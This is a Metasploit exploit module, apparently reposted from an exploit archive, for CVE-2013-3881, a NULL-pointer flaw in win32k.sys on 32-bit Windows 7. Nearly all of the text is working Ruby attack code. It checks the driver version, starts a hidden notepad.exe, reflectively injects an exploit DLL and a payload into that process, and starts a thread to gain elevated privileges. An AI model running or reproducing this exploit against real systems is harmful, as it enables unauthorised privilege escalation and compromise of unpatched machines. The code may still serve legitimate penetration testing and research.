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Windows TrackPopupMenuEx Win32k NULL Page
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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page', 'Description' => %q{ This module exploits a vulnerability in win32k.sys where under specific conditions TrackPopupMenuEx will pass a NULL pointer to the MNEndMenuState procedure. This module has been tested successfully on Windows 7 SP0 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Seth Gibson', # vulnerability discovery 'Dan Zentner', # vulnerability discovery 'Matias Soler', # vulnerability analysis 'Spencer McIntyre' ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows 7 SP0/SP1', { } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 'CVE', '2013-3881' ], [ 'OSVDB', '98212' ], [ 'BID', '62830'], [ 'MSB', 'MS13-081' ], [ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ], [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ] ], 'DisclosureDate' => 'Oct 08 2013', 'DefaultTarget' => 0 })) end def check os = sysinfo["OS"] if (os =~ /windows/i) == nil return Exploit::CheckCode::Unknown end file_path = expand_path("%windir%") << "\\system32\\win32k.sys" major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") case build when 7600 return Exploit::CheckCode::Vulnerable when 7601 return Exploit::CheckCode::Vulnerable if revision <= 18126 when 9200 return Exploit::CheckCode::Safe end return Exploit::CheckCode::Unknown end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if check != Exploit::CheckCode::Vulnerable fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end print_status("Launching notepad to host the exploit...") notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true}) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Reader Sandbox won't allow to create a new process: # stdapi_sys_process_execute: Operation failed: Access is denied. print_status("Operation failed. Trying to elevate the current process...") process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3881", "cve-2013-3881.x86.dll") library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status("Payload injected. Executing exploit...") process.thread.create(exploit_mem + offset, payload_mem) print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") end end # 0day.today [2024-09-29] #